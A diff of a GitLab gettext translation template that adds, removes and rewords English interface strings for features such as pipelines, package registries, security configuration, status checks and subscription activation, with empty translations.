msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
